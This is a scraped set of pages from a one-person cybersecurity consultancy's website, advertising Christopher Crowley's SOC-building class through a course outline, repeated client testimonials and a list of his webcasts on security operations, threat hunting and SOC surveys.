# Full Website Content: montance.com ## Source: https://montance.com # Optimum Security Protection for digital Assets Montance® LLC is a trusted independent Information Security partner providing cybersecurity assessment, and framework development services enabling clients to create a new SOC, or improve existing security operations. We are committed to enhancing your SOC capabilities to execute its mission: to provide optimum security protection for digital assets. Montance® LLC has provided services to organizations large and small in the financial, industrial, energy, medical, and defense industries. It is a one-person consulting firm providing a vehicle for direct and efficient engagement. Contracting can be direct or via an existing contracting vehicle. ![](content/images/icons/arrow-right.svg) ## Training for tomorrow [Christopher Crowley](content/pdf/Christopher Crowley Profile.pdf) has trained thousands of students globally with focus on Overall security operations, monitoring capability, mobile pen testing, and overall operational program development. Montance® LLC has provided services to organizations large and small in the financial, industrial, energy, medical, and defense industries. It is a one-person consulting firm providing a vehicle for direct and efficient engagement. ![](content/images/illustrations/training-for-tomorrow.png) Previously trained at * ![](content/images/logos/us-deptartment-of-defense.png) * ![](content/images/logos/tulane-university.png) * ![](content/images/logos/sans-institute.png) * 2000+ Students trained globally * 30+ Topics covered so far * 280+ Customized solutions delivered ## SOC Class Build and operate SOCs SOC-class is the Montance® LLC live instructional offering for those seeking to build or mature a Cyber Security Operations Center. Take this class to shorten the learning curve to excellence in your SOC. [Learn more](soc-class) "The course was an enriching learning experience. I left with a practical toolkit of skills that I could confidently apply. Chris is an engaging instructor and his experience and knowledge were evident in how generously he shared insights and answered questions." Christopher Crowley's training was a pivotal moment for SMT Group. His expertise and tailored approach have not only resonated with our team but also significantly contributed to our success across the Levant and Gulf regions. Since then, our cyber fusion center, offering over 37 cutting-edge services and products, has become a cornerstone in the cybersecurity landscape. Serving key telecom providers and numerous private sector entities, our expansion into markets like Jordan, Iraq, Kuwait, Dubai, and Saudi Arabia, with imminent plans for Kenya, stands as a testament to the solid foundation laid by Chris's top-notch training. SMT Group's trajectory of growth and innovation continues to be fueled by the valuable insights and skills gained from his training. Dr. Samir Tahoun SMT Group I have been a student on a course taught by you and teach assistant at events where you have taught. You have an amazing and broad technical knowledge which is combined with a deep understanding of security and its role in the business. You have an outstanding ability to convey complicated technical information to both technical and non-technical audiances. You manage audiences ranging from entry level technical security personnel to executives and CISOs with ease. Your advice and guidance provides superb, cost-effective solutions to real world problems. I have consistently been impressed with your professionalism and knowledge. It was an genuine pleasure to be a student and I wouldn’t hesistate to recommend you to others. Taz Wake, Security Director Halkyn Consulting Ltd It's is rare that you come across someone with such exceptional talent and professionalism as Chris. I've had the pleasure of working with Chris for many years as a peer. His ability to breakdown complex challenges in an approachable format makes him an expert in delivering solutions. I highly recommend Chris as an asset to help solve the problems we face in protecting our critical systems against cyber attacks. Joe Vest, Author Red Team Development and Operations Myself and my staff have had the pleasure of attending training and conferences hosted by Chris. He has a font of knowledge and experience pertaining to multiple domains of information security/security operations. I will continue to recommend my staff and my peers in industry to seek out Chris' training and advice wherever they can get it, via SANS, AND, or directly from Chris. Nathan Clarke - Advanced SOC Manager at Verizon Australia As for me, Mr. Crowley's main qualities are sensitivity, care, understanding of business processes, and patience. I had a luck to learn mobile application security from him at SEC575 Sans classes. When you talk with Christopher, it feels like he knows exact answers on questions that you kept inside yourself for a long long time, and you want work hard to learn his wisdom. Furthermore, Christopher is proactive in making people's lives better. While being in classes, I asked a lot of questions and got a lot of answers, and he answered me very patiently, even if my questions are unnecessary or irrelevant. Mr. Crowley's answers are specific, short, deep, and with strict footing on business. He speaks very accurately. Therefore I definitely recommend Christopher Crowley as a well-qualified teacher, and a solid security expert, which level of solidity I cannot even feel, like a grain of sand cannot understand the weight of a mountain. Simon Lyhin, Deloitte Ukraine I've been fortunate enough to attend more than a dozen big name cyber security, hacking and forensics courses over the past 9 years. The quality and breadth of subject matter in this SOC course more than equalled any I have done before. Well done Chris Technologist (infosec, forensics, embedded systems) Canberra I really recommend this training not only for the ones who start to build the security operations center but also for those who want to check whether the fundamentals, best practises are implemented and followed. It really gives the holistic view for all the activities you need to do, to deliver proper SOC services. Very often it raises the question “is this the best solution for our SOC” pointing out that there are many ways to deliver SOC services depending on the business needs, resources and time. If you are technical specialist, security auditor or security manager and want learn how to deliver SOC services I really recommend this class. SOC Manager/utility provider Europe One of the huge things that I took out of the class was the concept of a maturity model and a way to assess the maturity of an organization's security operations using the free open-source SOC-CMM that was introduced. Since taking the class under the SANS umbrella in the summer of 2018 at the DFIR Summit, I have been utilizing and following the updates to the SOC-CMM ever since using it especially in an ISAC that my company belongs to. Besides the SOC-CMM, I have been using other points from the class such as the section on metrics when talking to other members companies in the ISAC and discussing ways to assess and mature their operations. This has been a stepping stone to help prepare our security operations for the upcoming DoD CMMC initiative for contractors and educate our peers within the ISAC. Please keep up the great work! US Defense Industrial Base (USDIB) and Logistics Contractor I wanted to let you know that I was able to use material I learned from that class to propose to our upper management what a formalized security team could look like in our environment and some ways we could move forward with that. We are now making progress in making that happen. Thank you for all the work you put in to that class. Clothing and Adventure Gear Manufacturer You probably would not be surprised but I keep the books on my desk and every day find some minutes to list pages and read something. I replaced listening to music on my way home to audio from the course. The course as such became my new Bible and sometime I find it addictive. Thanks very much again for given such a valuable information in 5 days. Global Manufacturer and Retailer I share all of this only to make this point – never has a track been more relevant, timely, thorough, and pragmatic as I found the course to be. In my opinion, Chris (and I am quite sure an entire team of reviewers) has thought of, considered, and addressed every issue that I have encountered in my journey to standing up an internal SOC at my company. Food and Beverage Conglomerate I attended a fantastic course this month on Managing Security Operations taught by Chris Crowley . If you have anything to do with managing a SOC or your organization needs an idea of how to get to the next level...this is the course for you. Medical Supplier and Innovator Thanks for the excellent course in San Francisco...Btw, I appreciated how you quickly comprehended and translated specific feedback to general principles, when fielding questions in the class. That is a good skill. US Department of Defense [![](content/images/icons/arrow-circular-right.svg)](#carousel-soc-class) [![](content/images/icons/arrow-circular-right.svg)](#carousel-soc-class) ## Join MailList Sign up for class related updates [Notify Me](newsletter.php) Private Class Inquiry In-person or Online 3-5 days * ![](content/images/icons/clock.svg) 08:30-17:00 * ![](content/images/icons/location.svg) ![](https://px.ads.linkedin.com/collect/?pid=5019956&fmt=gif)[Contact us for details](https://montance.com/contact)[More information![](content/images/icons/arrow-right.svg)](https://montance.com/soc-class) [Express Interest](https://montance.com/contact) ## Testimonials ![](content/images/icons/avatar.png) Anonymous US Department of Defense Thanks for the excellent course in San Francisco...Btw, I appreciated how you quickly comprehended and translated specific feedback to general principles, when fielding questions in the class. That is a good skill. ![](content/images/icons/avatar.png) Joe Vest Author- Red Team Development and Operations It's is rare that you come across someone with such exceptional talent and professionalism as Chris. I've had the pleasure of working with Chris for many years as a peer. His ability to breakdown complex challenges in an approachable format makes him an expert in delivering solutions. I highly recommend Chris as an asset to help solve the problems we face in protecting our critical systems against cyber attacks. ![](content/images/icons/avatar.png) Nathan Clarke Verizon Australia Myself and my staff have had the pleasure of attending training and conferences hosted by Chris. He has a font of knowledge and experience pertaining to multiple domains of information security/security operations. I will continue to recommend my staff and my peers in industry to seek out Chris' training and advice wherever they can get it, via SANS, AND, or directly from Chris. ## Contact us Get in touch with me for any queries or requests regarding the course Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. * ![](content/images/icons/location.svg) Montance® LLC 267 Kentlands Blvd #5111 Gaithersburg, MD, USA 20878 * ![](content/images/icons/phone.svg) [+1-302-495-9090](tel:+1-302-495-9090) [ Current time ] * ![](content/images/icons/mail.svg) [chris@montance.com](mailto:chris@montance.com) * Follow Montance® on [![](content/images/icons/youtube.svg)](https://www.youtube.com/channel/UCZBVlN-16t4PfQGlYJ5SrdQ) [![](content/images/icons/linkedin.svg)](https://www.linkedin.com/company/montance) [![](content/images/icons/twitter.svg)](https://twitter.com/ccrowmontance) --- ## Source: https://montance.com/index # Optimum Security Protection for digital Assets Montance® LLC is a trusted independent Information Security partner providing cybersecurity assessment, and framework development services enabling clients to create a new SOC, or improve existing security operations. We are committed to enhancing your SOC capabilities to execute its mission: to provide optimum security protection for digital assets. Montance® LLC has provided services to organizations large and small in the financial, industrial, energy, medical, and defense industries. It is a one-person consulting firm providing a vehicle for direct and efficient engagement. Contracting can be direct or via an existing contracting vehicle. ![](content/images/icons/arrow-right.svg) ## Training for tomorrow [Christopher Crowley](content/pdf/Christopher Crowley Profile.pdf) has trained thousands of students globally with focus on Overall security operations, monitoring capability, mobile pen testing, and overall operational program development. Montance® LLC has provided services to organizations large and small in the financial, industrial, energy, medical, and defense industries. It is a one-person consulting firm providing a vehicle for direct and efficient engagement. ![](content/images/illustrations/training-for-tomorrow.png) Previously trained at * ![](content/images/logos/us-deptartment-of-defense.png) * ![](content/images/logos/tulane-university.png) * ![](content/images/logos/sans-institute.png) * 2000+ Students trained globally * 30+ Topics covered so far * 280+ Customized solutions delivered ## SOC Class Build and operate SOCs SOC-class is the Montance® LLC live instructional offering for those seeking to build or mature a Cyber Security Operations Center. Take this class to shorten the learning curve to excellence in your SOC. [Learn more](soc-class) "The course was an enriching learning experience. I left with a practical toolkit of skills that I could confidently apply. Chris is an engaging instructor and his experience and knowledge were evident in how generously he shared insights and answered questions." Christopher Crowley's training was a pivotal moment for SMT Group. His expertise and tailored approach have not only resonated with our team but also significantly contributed to our success across the Levant and Gulf regions. Since then, our cyber fusion center, offering over 37 cutting-edge services and products, has become a cornerstone in the cybersecurity landscape. Serving key telecom providers and numerous private sector entities, our expansion into markets like Jordan, Iraq, Kuwait, Dubai, and Saudi Arabia, with imminent plans for Kenya, stands as a testament to the solid foundation laid by Chris's top-notch training. SMT Group's trajectory of growth and innovation continues to be fueled by the valuable insights and skills gained from his training. Dr. Samir Tahoun SMT Group I have been a student on a course taught by you and teach assistant at events where you have taught. You have an amazing and broad technical knowledge which is combined with a deep understanding of security and its role in the business. You have an outstanding ability to convey complicated technical information to both technical and non-technical audiances. You manage audiences ranging from entry level technical security personnel to executives and CISOs with ease. Your advice and guidance provides superb, cost-effective solutions to real world problems. I have consistently been impressed with your professionalism and knowledge. It was an genuine pleasure to be a student and I wouldn’t hesistate to recommend you to others. Taz Wake, Security Director Halkyn Consulting Ltd It's is rare that you come across someone with such exceptional talent and professionalism as Chris. I've had the pleasure of working with Chris for many years as a peer. His ability to breakdown complex challenges in an approachable format makes him an expert in delivering solutions. I highly recommend Chris as an asset to help solve the problems we face in protecting our critical systems against cyber attacks. Joe Vest, Author Red Team Development and Operations Myself and my staff have had the pleasure of attending training and conferences hosted by Chris. He has a font of knowledge and experience pertaining to multiple domains of information security/security operations. I will continue to recommend my staff and my peers in industry to seek out Chris' training and advice wherever they can get it, via SANS, AND, or directly from Chris. Nathan Clarke - Advanced SOC Manager at Verizon Australia As for me, Mr. Crowley's main qualities are sensitivity, care, understanding of business processes, and patience. I had a luck to learn mobile application security from him at SEC575 Sans classes. When you talk with Christopher, it feels like he knows exact answers on questions that you kept inside yourself for a long long time, and you want work hard to learn his wisdom. Furthermore, Christopher is proactive in making people's lives better. While being in classes, I asked a lot of questions and got a lot of answers, and he answered me very patiently, even if my questions are unnecessary or irrelevant. Mr. Crowley's answers are specific, short, deep, and with strict footing on business. He speaks very accurately. Therefore I definitely recommend Christopher Crowley as a well-qualified teacher, and a solid security expert, which level of solidity I cannot even feel, like a grain of sand cannot understand the weight of a mountain. Simon Lyhin, Deloitte Ukraine I've been fortunate enough to attend more than a dozen big name cyber security, hacking and forensics courses over the past 9 years. The quality and breadth of subject matter in this SOC course more than equalled any I have done before. Well done Chris Technologist (infosec, forensics, embedded systems) Canberra I really recommend this training not only for the ones who start to build the security operations center but also for those who want to check whether the fundamentals, best practises are implemented and followed. It really gives the holistic view for all the activities you need to do, to deliver proper SOC services. Very often it raises the question “is this the best solution for our SOC” pointing out that there are many ways to deliver SOC services depending on the business needs, resources and time. If you are technical specialist, security auditor or security manager and want learn how to deliver SOC services I really recommend this class. SOC Manager/utility provider Europe One of the huge things that I took out of the class was the concept of a maturity model and a way to assess the maturity of an organization's security operations using the free open-source SOC-CMM that was introduced. Since taking the class under the SANS umbrella in the summer of 2018 at the DFIR Summit, I have been utilizing and following the updates to the SOC-CMM ever since using it especially in an ISAC that my company belongs to. Besides the SOC-CMM, I have been using other points from the class such as the section on metrics when talking to other members companies in the ISAC and discussing ways to assess and mature their operations. This has been a stepping stone to help prepare our security operations for the upcoming DoD CMMC initiative for contractors and educate our peers within the ISAC. Please keep up the great work! US Defense Industrial Base (USDIB) and Logistics Contractor I wanted to let you know that I was able to use material I learned from that class to propose to our upper management what a formalized security team could look like in our environment and some ways we could move forward with that. We are now making progress in making that happen. Thank you for all the work you put in to that class. Clothing and Adventure Gear Manufacturer You probably would not be surprised but I keep the books on my desk and every day find some minutes to list pages and read something. I replaced listening to music on my way home to audio from the course. The course as such became my new Bible and sometime I find it addictive. Thanks very much again for given such a valuable information in 5 days. Global Manufacturer and Retailer I share all of this only to make this point – never has a track been more relevant, timely, thorough, and pragmatic as I found the course to be. In my opinion, Chris (and I am quite sure an entire team of reviewers) has thought of, considered, and addressed every issue that I have encountered in my journey to standing up an internal SOC at my company. Food and Beverage Conglomerate I attended a fantastic course this month on Managing Security Operations taught by Chris Crowley . If you have anything to do with managing a SOC or your organization needs an idea of how to get to the next level...this is the course for you. Medical Supplier and Innovator Thanks for the excellent course in San Francisco...Btw, I appreciated how you quickly comprehended and translated specific feedback to general principles, when fielding questions in the class. That is a good skill. US Department of Defense [![](content/images/icons/arrow-circular-right.svg)](#carousel-soc-class) [![](content/images/icons/arrow-circular-right.svg)](#carousel-soc-class) ## Join MailList Sign up for class related updates [Notify Me](newsletter.php) Private Class Inquiry In-person or Online 3-5 days * ![](content/images/icons/clock.svg) 08:30-17:00 * ![](content/images/icons/location.svg) ![](https://px.ads.linkedin.com/collect/?pid=5019956&fmt=gif)[Contact us for details](https://montance.com/contact)[More information![](content/images/icons/arrow-right.svg)](https://montance.com/soc-class) [Express Interest](https://montance.com/contact) ## Testimonials ![](content/images/icons/avatar.png) Anonymous US Department of Defense Thanks for the excellent course in San Francisco...Btw, I appreciated how you quickly comprehended and translated specific feedback to general principles, when fielding questions in the class. That is a good skill. ![](content/images/icons/avatar.png) Joe Vest Author- Red Team Development and Operations It's is rare that you come across someone with such exceptional talent and professionalism as Chris. I've had the pleasure of working with Chris for many years as a peer. His ability to breakdown complex challenges in an approachable format makes him an expert in delivering solutions. I highly recommend Chris as an asset to help solve the problems we face in protecting our critical systems against cyber attacks. ![](content/images/icons/avatar.png) Nathan Clarke Verizon Australia Myself and my staff have had the pleasure of attending training and conferences hosted by Chris. He has a font of knowledge and experience pertaining to multiple domains of information security/security operations. I will continue to recommend my staff and my peers in industry to seek out Chris' training and advice wherever they can get it, via SANS, AND, or directly from Chris. ## Contact us Get in touch with me for any queries or requests regarding the course Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. * ![](content/images/icons/location.svg) Montance® LLC 267 Kentlands Blvd #5111 Gaithersburg, MD, USA 20878 * ![](content/images/icons/phone.svg) [+1-302-495-9090](tel:+1-302-495-9090) [ Current time ] * ![](content/images/icons/mail.svg) [chris@montance.com](mailto:chris@montance.com) * Follow Montance® on [![](content/images/icons/youtube.svg)](https://www.youtube.com/channel/UCZBVlN-16t4PfQGlYJ5SrdQ) [![](content/images/icons/linkedin.svg)](https://www.linkedin.com/company/montance) [![](content/images/icons/twitter.svg)](https://twitter.com/ccrowmontance) --- ## Source: https://montance.com/soc-class ## Join MailList Sign up for class related updates [Notify Me](newsletter.php) Private Class Inquiry In-person or Online 3-5 days * ![](content/images/icons/clock.svg) 08:30-17:00 * ![](content/images/icons/location.svg) ![](https://px.ads.linkedin.com/collect/?pid=5019956&fmt=gif)[Contact us for details](https://montance.com/contact)[More information![](content/images/icons/arrow-right.svg)](https://montance.com/soc-class) [Express Interest](https://montance.com/contact) ## SOC Class Detailed List ##### The class provides the following: Guidance on business orientation, use case development, hunting techniques Reference model for all functions of a SOC: monitoring, response, intelligence, metrics Guidance on developing internal capability and strategic outsourcing Detailed discussion of technology, process, and analytical staff relations and optimization Sequence of actions for building a SOC, or assessing an established SOC's maturity and capability [Summary PDF](content/pdf/soc-class-justification.pdf) ##### Class Orientation **A Story About Telling Stories** * First Principles and Terminology ##### Business Alignment **Steering Committee – Phase 1: Design** * Requirements * Impact * Charter ##### SOC Design **Functional Components** * Presumed Organizational Support Functions * Functional Arrangements * Operational and Architectural Considerations * SOC Organizational Position * Multi SOC Models * SOC and IT Relations * Size and Maturity * Size: What Does It Look Like? * Outsourcing Advice ##### Overall Program of Operations **Intro** * Command Center * Network Security Monitoring * Threat Intelligence * Incident Response * Forensics * Self Assessment ##### Business Alignment (2) * Defensive Topology * Steering Committee: Phase 2: Build ##### SOC Design **Functional Area Work Products** * Technology Selection * Physical SOC Build * Technology Selection * Cultural and Organizational Influence on SOC Requirements and Performance * Forensics * Orchestration and Automation ##### Analysis **Analytical Methodology for the SOC** * Applied ACH * Available Frameworks for Analysis * Analytical Methodology: Wrap Up ##### Staff * Roles * Hiring * Onboarding * Training * Meetings * Retention ##### Operations **Steering Committee: Phase 2: Build** * Tempo * Pre-Forensics * Threat Hunting * Use Case Development ##### Metrics * Introduction * Appropriate Audience * Reported * Steering Committee: Phase 3: Operations * Service Level Objectives * SOC Internal Health and Performance ##### Maturity * Introduction * SOC-CMM Walkthrough ##### Processes * Process list * Sequence Walk Through ##### Case Study * Phin Phisher * Insiders * Equifax ## SOC Reference Model The class is not technical in nature, however, it is deeply grounded in technical details. Those details will be elaborated to explain the rationale between choices. This class is more about equiping you on how to make decisions for your SOC, and less about telling you the specific way to do something. ![](content/images/soc-reference-model-light.png) ![](content/images/soc-reference-model-dark.png) ## Join MailList Sign up for class related updates [Notify Me](newsletter.php) Private Class Inquiry In-person or Online 3-5 days * ![](content/images/icons/clock.svg) 08:30-17:00 * ![](content/images/icons/location.svg) ![](https://px.ads.linkedin.com/collect/?pid=5019956&fmt=gif)[Contact us for details](https://montance.com/contact)[More information![](content/images/icons/arrow-right.svg)](https://montance.com/soc-class) [Express Interest](https://montance.com/contact) ## Additional Resources Online live versions of the class have been delivered since the pandemic affected live training in early 2020. Live online versions are regularly offered. If you want to discuss purchasing just the recording of a previous class, this can be provided on an individual basis. [View All Resources](additional-information) * ![](content/images/icons/presentation.svg) Latest Presentations * ![](content/images/icons/video.svg) Latest Videos ## Contact us Get in touch with me for any queries or requests regarding the course Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. * ![](content/images/icons/location.svg) Montance® LLC 267 Kentlands Blvd #5111 Gaithersburg, MD, USA 20878 * ![](content/images/icons/phone.svg) [+1-302-495-9090](tel:+1-302-495-9090) [ Current time ] * ![](content/images/icons/mail.svg) [chris@montance.com](mailto:chris@montance.com) * Follow Montance® on [![](content/images/icons/youtube.svg)](https://www.youtube.com/channel/UCZBVlN-16t4PfQGlYJ5SrdQ) [![](content/images/icons/linkedin.svg)](https://www.linkedin.com/company/montance) [![](content/images/icons/twitter.svg)](https://twitter.com/ccrowmontance) --- ## Source: https://montance.com/course-description # SOC Class Build Course Description The class is intended to walk through a reference model for a SOC. It addresses Design, Build, and Operational concerns. It starts with business alignment, and gets into details such as: processes, technology to use, and how to hire and manage people. The class is not technical in nature, however, it is deeply grounded in technical details. Those details will be elaborated to explain the rationale between choices. This class is more about equiping you on how to make decisions for your SOC, and less about telling you the specific way to do something. It acknowledges the broadly diverse organizational requirements and abstracts these into a general form that's intended to be universally applicable. [![](content/images/soc-video-bg.jpg)](https://www.youtube.com/watch?v=ec6c9XcdUrM) ## SOC Class Build and operate SOCs SOC-class is the Montance® LLC live instructional offering for those seeking to build or mature a Cyber Security Operations Center. Take this class to shorten the learning curve to excellence in your SOC. #### The class provides the following: Guidance on business orientation, use case development, hunting techniques Reference model for all functions of a SOC: monitoring, response, intelligence, metrics Guidance on developing internal capability and strategic outsourcing Detailed discussion of technology, process, and analytical staff relations and optimization Sequence of actions for building a SOC, or assessing an established SOC's maturity and capability [Justification / Summary PDF](content/pdf/soc-class-justification.pdf) "The course was an enriching learning experience. I left with a practical toolkit of skills that I could confidently apply. Chris is an engaging instructor and his experience and knowledge were evident in how generously he shared insights and answered questions." Christopher Crowley's training was a pivotal moment for SMT Group. His expertise and tailored approach have not only resonated with our team but also significantly contributed to our success across the Levant and Gulf regions. Since then, our cyber fusion center, offering over 37 cutting-edge services and products, has become a cornerstone in the cybersecurity landscape. Serving key telecom providers and numerous private sector entities, our expansion into markets like Jordan, Iraq, Kuwait, Dubai, and Saudi Arabia, with imminent plans for Kenya, stands as a testament to the solid foundation laid by Chris's top-notch training. SMT Group's trajectory of growth and innovation continues to be fueled by the valuable insights and skills gained from his training. Dr. Samir Tahoun SMT Group I have been a student on a course taught by you and teach assistant at events where you have taught. You have an amazing and broad technical knowledge which is combined with a deep understanding of security and its role in the business. You have an outstanding ability to convey complicated technical information to both technical and non-technical audiances. You manage audiences ranging from entry level technical security personnel to executives and CISOs with ease. Your advice and guidance provides superb, cost-effective solutions to real world problems. I have consistently been impressed with your professionalism and knowledge. It was an genuine pleasure to be a student and I wouldn’t hesistate to recommend you to others. Taz Wake, Security Director Halkyn Consulting Ltd It's is rare that you come across someone with such exceptional talent and professionalism as Chris. I've had the pleasure of working with Chris for many years as a peer. His ability to breakdown complex challenges in an approachable format makes him an expert in delivering solutions. I highly recommend Chris as an asset to help solve the problems we face in protecting our critical systems against cyber attacks. Joe Vest, Author Red Team Development and Operations Myself and my staff have had the pleasure of attending training and conferences hosted by Chris. He has a font of knowledge and experience pertaining to multiple domains of information security/security operations. I will continue to recommend my staff and my peers in industry to seek out Chris' training and advice wherever they can get it, via SANS, AND, or directly from Chris. Nathan Clarke - Advanced SOC Manager at Verizon Australia As for me, Mr. Crowley's main qualities are sensitivity, care, understanding of business processes, and patience. I had a luck to learn mobile application security from him at SEC575 Sans classes. When you talk with Christopher, it feels like he knows exact answers on questions that you kept inside yourself for a long long time, and you want work hard to learn his wisdom. Furthermore, Christopher is proactive in making people's lives better. While being in classes, I asked a lot of questions and got a lot of answers, and he answered me very patiently, even if my questions are unnecessary or irrelevant. Mr. Crowley's answers are specific, short, deep, and with strict footing on business. He speaks very accurately. Therefore I definitely recommend Christopher Crowley as a well-qualified teacher, and a solid security expert, which level of solidity I cannot even feel, like a grain of sand cannot understand the weight of a mountain. Simon Lyhin, Deloitte Ukraine I've been fortunate enough to attend more than a dozen big name cyber security, hacking and forensics courses over the past 9 years. The quality and breadth of subject matter in this SOC course more than equalled any I have done before. Well done Chris Technologist (infosec, forensics, embedded systems) Canberra I really recommend this training not only for the ones who start to build the security operations center but also for those who want to check whether the fundamentals, best practises are implemented and followed. It really gives the holistic view for all the activities you need to do, to deliver proper SOC services. Very often it raises the question “is this the best solution for our SOC” pointing out that there are many ways to deliver SOC services depending on the business needs, resources and time. If you are technical specialist, security auditor or security manager and want learn how to deliver SOC services I really recommend this class. SOC Manager/utility provider Europe One of the huge things that I took out of the class was the concept of a maturity model and a way to assess the maturity of an organization's security operations using the free open-source SOC-CMM that was introduced. Since taking the class under the SANS umbrella in the summer of 2018 at the DFIR Summit, I have been utilizing and following the updates to the SOC-CMM ever since using it especially in an ISAC that my company belongs to. Besides the SOC-CMM, I have been using other points from the class such as the section on metrics when talking to other members companies in the ISAC and discussing ways to assess and mature their operations. This has been a stepping stone to help prepare our security operations for the upcoming DoD CMMC initiative for contractors and educate our peers within the ISAC. Please keep up the great work! US Defense Industrial Base (USDIB) and Logistics Contractor I wanted to let you know that I was able to use material I learned from that class to propose to our upper management what a formalized security team could look like in our environment and some ways we could move forward with that. We are now making progress in making that happen. Thank you for all the work you put in to that class. Clothing and Adventure Gear Manufacturer You probably would not be surprised but I keep the books on my desk and every day find some minutes to list pages and read something. I replaced listening to music on my way home to audio from the course. The course as such became my new Bible and sometime I find it addictive. Thanks very much again for given such a valuable information in 5 days. Global Manufacturer and Retailer I share all of this only to make this point – never has a track been more relevant, timely, thorough, and pragmatic as I found the course to be. In my opinion, Chris (and I am quite sure an entire team of reviewers) has thought of, considered, and addressed every issue that I have encountered in my journey to standing up an internal SOC at my company. Food and Beverage Conglomerate I attended a fantastic course this month on Managing Security Operations taught by Chris Crowley . If you have anything to do with managing a SOC or your organization needs an idea of how to get to the next level...this is the course for you. Medical Supplier and Innovator Thanks for the excellent course in San Francisco...Btw, I appreciated how you quickly comprehended and translated specific feedback to general principles, when fielding questions in the class. That is a good skill. US Department of Defense [![](content/images/icons/arrow-circular-right.svg)](#carousel-soc-class) [![](content/images/icons/arrow-circular-right.svg)](#carousel-soc-class) ![](content/images/icons/arrow-right.svg) [![](content/images/icons/play.svg) Watch course overview](https://www.youtube.com/watch?v=ec6c9XcdUrM) ## Contact us Get in touch with me for any queries or requests regarding the course Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. * ![](content/images/icons/location.svg) Montance® LLC 267 Kentlands Blvd #5111 Gaithersburg, MD, USA 20878 * ![](content/images/icons/phone.svg) [+1-302-495-9090](tel:+1-302-495-9090) [ Current time ] * ![](content/images/icons/mail.svg) [chris@montance.com](mailto:chris@montance.com) * Follow Montance® on [![](content/images/icons/youtube.svg)](https://www.youtube.com/channel/UCZBVlN-16t4PfQGlYJ5SrdQ) [![](content/images/icons/linkedin.svg)](https://www.linkedin.com/company/montance) [![](content/images/icons/twitter.svg)](https://twitter.com/ccrowmontance) --- ## Source: https://montance.com/additional-information # References. Background. Online Class Online live versions of the class have been delivered since the pandemic affected live training in early 2020. Live online versions are regularly offered. If you want to discuss purchasing just the recording of a previous class, this can be provided on an individual basis. ![](content/images/illustrations/learn-built.png) ![](content/images/icons/arrow-right.svg) ![](content/images/icons/design-development-execution.png) May, 2020, Webcast ## Mobile Attack Surface & Assessments Webcast on the entire mobile attack surface and frameworks for guiding assessments of vulnerabilities and risk. This talk was intended to provide an overview of the risk associated with mobile devices. It discusses consensus frameworks to guide security professionals on assessing the risk inherent in mobile device use. [Watch the webcast](https://www.sans.org/webcasts/mobile-assessments-attack-surface-frameworks-114985/) (requires SANS site registration) [![](content/images/icons/drive.svg) Download the Slide Deck](https://drive.google.com/file/d/1-I9ml_sVau0j2iRNsVL5R9jgfL5dYWEA/view?usp=drive_link) ![](content/images/icons/implementation.png) January, 2020 Austin, TX, USA ## SOAR Brief SANS Automation and Orchestration Solutions discussing automation and orchestration in Ausin, TX. Christopher Crowley was chairman at the SANS Automation and Orchestration Solutions Forum in January, 2020. He discussed automation and orchestration, analysis methodology, an extensive process list, and recommendations on what to automate and orchestrate. He provides guidance on selection criteria to prioritize automation and orchestration efforts. [Watch the webcast](https://www.sans.org/webcasts/112740?utm_medium=soc-class-pres) (requires SANS site registration) [![](content/images/icons/drive.svg)Download Zip file](https://drive.google.com/file/d/1BiW5xM3_uZ2kITqs8QY3OJzJtoCR2VDA/view) ![](content/images/icons/implementation-consultation.png) November, 2017, Boston, MA, USA ## Use Case Development Crowley's description of the program for creating use cases. We hear the term "Use Case" frequently. This is a term from UML, and was originally intended to depict the user's many and varied interactions with the system (under design). We create security use cases. These are usually intended to provide alerts which drive subsequent investigation and verification. This talk outlines a program for doing this. [Watch the webcast](https://www.sans.org/webcasts/security-operations-center-soc-briefing-104427/) (requires SANS site registration) [![](content/images/icons/drive.svg)Download the slide deck](https://drive.google.com/file/d/1h5uwIo5r2xsrTwm8e_WHROdI9oXlsuM4/view) ![](content/images/icons/custom-solution.png) July, 2017, New Orleans, LA, USA ## Threat Hunting Crowley's talk on how to leverage threat hunting in Security Operations. [Watch the video on youtube](https://www.youtube.com/watch?v=pDY639JsT7I&t=8s) [![](content/images/icons/drive.svg)Download the slide deck](https://drive.google.com/file/d/1QXiKwrHgJ1TcFWz75UITB8EzOIHU-xvb/view) --- ## Source: https://montance.com/presentations webcast November, 2023 # Cybersecurity Today TV - Episode 60 - Cybersecurity Operations Today: What’s Working, What’s Not In Episode 60, we sit down with industry heavyweight Christopher Crowley to dissect the reality of modern SOCs: what’s truly effective, what’s failing, and how to build more resilient operations. From detection engineering with AI/ML to burnout in analyst teams, this is a no-spin, high-value conversation every cybersecurity leader needs to hear. [![](content/images/presentation-video-bg.png)](https://www.youtube.com/watch?v=FCo1QHfjCM4) #### Dive Into the SOC-Survey [Click Here](https://soc-survey.com/) * 2026 SANS SOC Survey Insights: A Decade of Evolution in Cyber Defense #### 2026 SANS SOC Survey Insights: A Decade of Evolution in Cyber Defense [View and Ask Questions](questions.php?id=187) Christopher Crowley 2026-06-17 [https://www.sans.org/webcasts/2026-...](https://www.sans.org/webcasts/2026-sans-soc-survey-insights?soc-survey=montance)[![](content/images/file.svg)](https://mgt517.com/soc) * Integrating AI/ML into SOC Detection Engineering: Building Smarter, Faster Defenses #### Integrating AI/ML into SOC Detection Engineering: Building Smarter, Faster Defenses [View and Ask Questions](questions.php?id=189) Christopher Crowley 2026-05-12 [https://www.sans.org/webcasts/secur...](https://www.sans.org/webcasts/security-central-2026-integrating-aiml-into-soc-detection-engineering)[![](content/images/file.svg)](https://drive.google.com/file/d/1gm74iGoURnWQtBAwCfCRyFnhfRRdApMM/view?usp=sharing) * Using MITRE ATT&CK® as an Operational Framework #### Using MITRE ATT&CK® as an Operational Framework [View and Ask Questions](questions.php?id=188) Christopher Crowley, Frank Duff, Cat Self 2026-03-19 [https://www.sans.org/webcasts/using...](https://www.sans.org/webcasts/using-mitre-attck-operational-framework-prioritizing-testing-sustaining-defense?utm=montance&socclass=yes)[![](content/images/file.svg)](https://www.sans.org/white-papers/using-mitre-attck-operational-framework-prioritizing-testing-sustaining-defense?utm=montance&socclass=yes) * Key Findings from the 2025 SANS SOC Survey #### Key Findings from the 2025 SANS SOC Survey [View and Ask Questions](questions.php?id=138) Christopher Crowley 2025-10-22 